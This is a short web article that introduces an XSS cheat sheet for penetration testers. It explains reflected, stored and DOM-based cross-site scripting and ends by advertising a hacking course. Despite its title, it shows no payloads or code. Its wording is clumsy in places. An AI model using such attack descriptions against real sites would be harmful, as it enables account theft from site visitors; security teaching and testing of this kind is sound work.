Around 500 Most Critical Web Application Penetration Testing XSS Script Cheat Sheet

XSS is a vulnerability category that is very commonly exploited and widely diffused and easily detectable. Here we’ll see the most important XSS Cheat Sheet.

What does XSS(Site Scripting Cross) mean?

An attacker can without validation inject untrusted JavaScript snippets into your application. The user who visits the target website then executes this JavaScript. XSS is categorized in three forms and the XSS Cheat Sheet can help find Pentesters ‘ XSS vulnerabilities.

Reflected XSS
Stored XSS
DOM-Based XSS

xss1-1

In Reflected XSS an attacker sends an email, social media etc to the target program. This link includes a script that runs when you visit the target website.
In Stored XSS, the attacker can create an ongoing script on the target site that will run when someone visits it.
No HTTP request is necessary for DOM Based XSS, the script is injected as a result of the modification of the target site DOM in the client side code of the victim’s browser and is executed.

Advanced internet hacking & penetration testing course–scratch for advancement can also be taught.
